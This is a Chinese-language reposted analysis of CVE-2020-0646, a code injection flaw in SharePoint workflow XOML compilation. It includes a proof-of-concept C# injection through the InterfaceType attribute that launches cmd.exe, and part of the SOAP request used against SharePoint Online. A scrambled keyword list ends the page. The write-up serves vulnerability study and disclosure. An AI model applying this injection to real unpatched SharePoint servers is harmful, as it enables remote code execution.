千家信息网

如何进行SharePoint中的远程代码执行漏洞分析

发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,这篇文章给大家介绍如何进行SharePoint中的远程代码执行漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。2019年11月份,安全研究人员在微软SharePoint O
千家信息网最后更新 2025年12月02日如何进行SharePoint中的远程代码执行漏洞分析

这篇文章给大家介绍如何进行SharePoint中的远程代码执行漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

2019年11月份,安全研究人员在微软SharePoint Online的工作流中发现了一个代码注入漏洞,并将其上报给微软公司。攻击者一旦成功利用该漏洞,将能够在目标系统中实现远程代码执行。微软在获取到漏洞信息之后,第一时间修复了在线平台上的相关漏洞,但是却到2020年的1月份才修复.NET Framework中的相关问题。因此,如果你的SharePoint On-Rremise版本没有安装2020年1月份的.NET补丁,那你将仍然会受到该漏洞的影响。

需要注意的是,如果你的IIS配置支持.XOML扩展,那么在文件上传时你同样有可能受到该漏洞的影响。

CVE-2020-0646漏洞分析

在编译XOML格式文件时,攻击者可以利用System.Workflow.Activities命名空间中的某些参数来在SharePoint服务器上执行任意代码。正是因为攻击者能够执行任意代码,因此该漏洞也能被用来绕过Workflow编译器的nocode选项。

下面的XOML文件显示的是一个使用CallExternalMethodActivity类的样例:

  

在编译过程中,攻击者可以将InterfaceType属性的值注入到刚刚生成的C#临时文件中:

…    private void InitializeComponent()    {        …        this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);              …    }…

完成上述操作之后,攻击者就可以绕过原函数并尝试实现任意代码执行了。值得一提的是,在上述例子中,当InterfaceType属性受到影响时,其他String类型的属性(例如MethodName)已正确验证或转义。

除此之外,CodeActivity类中的ExecuteCode参数同样会受这种利用方式的影响,但是我们无法在SharePoint的在线版本中针对该参数进行利用和攻击,只能适用于On-Premise版本。当然了,这里很可能还有其他的Activity类会受到潜在影响。

比如说,在下面的例子中,攻击者使用了如下HTTP请求在SharePoint Online版本上执行了任意代码:

POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1Date: Tue, 29 Oct 2019 14:26:21 GMTMIME-Version: 1.0Accept: */*SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjectsUser-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)Host: [REDACTED].sharepoint.comAccept-Language: en-us, en;q=0.1Accept: auth/sicilyX-FORMS_BASED_AUTH_ACCEPTED: TContent-Type: text/xml; charset=utf-8X-Vermeer-Content-Type: text/xml; charset=utf-8Accept-encoding: gzip, deflateConnection: Keep-AlivePragma: no-cacheContent-Length: 1031Cookie: [REDACTED]  ]]>2

攻击完成之后,我们就可以查看到主机需要解析的对应DNS名称了:

除此之外,攻击者同样可以利用上述请求来利用On-Premise版本中的漏洞并实施攻击。

安装了漏洞CVE-2020-0646的补丁之后,SharePoint的工作流将会检查所有的XML元素及属性,以确保它们只包含有限数量的合法字符。因此,当使用所选的nocode选项时,攻击者将无法在默认配置中向生成的C#代码注入任意代码了。

关于如何进行SharePoint中的远程代码执行漏洞分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

漏洞 攻击 代码 攻击者 版本 影响 属性 文件 漏洞分析 分析 参数 月份 微软 编译 例子 内容 工作流 更多 补丁 除此之外 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 计算机网络安全的内容包括哪三个 网络安全管理员补贴在哪领 金华手机app定制软件开发 永定林业局网络安全管理 服务器一直在重新启动 网络技术迅速发展 制作一个数据库包括er图 网络安全模型仿真 暗黑2 数据库 天堂的同胞 数据库的e-r 数据库安装需要什么环境 阿里云找不到云服务器 数据库恢复后怎么运行 公安厅网络安全监控 四川互联网展示科技馆设计 数据通讯网络安全招聘信息 如何成为高中生网络安全专家 网络安全法相关的法律法规 三菱plc连接互联网服务器程序 多线程更新数据库报错 输入网络安全密钥还是连不上 自动化类软件开发 天津四川网络安全助理工程师 麒麟源码数据库 杭州cad软件开发公司 菜鸟传橙网络技术职位 信息网络安全监察图书 学生数据库中有三种基本关系表 信息化战争对网络安全的影响 网络安全竞赛英文
0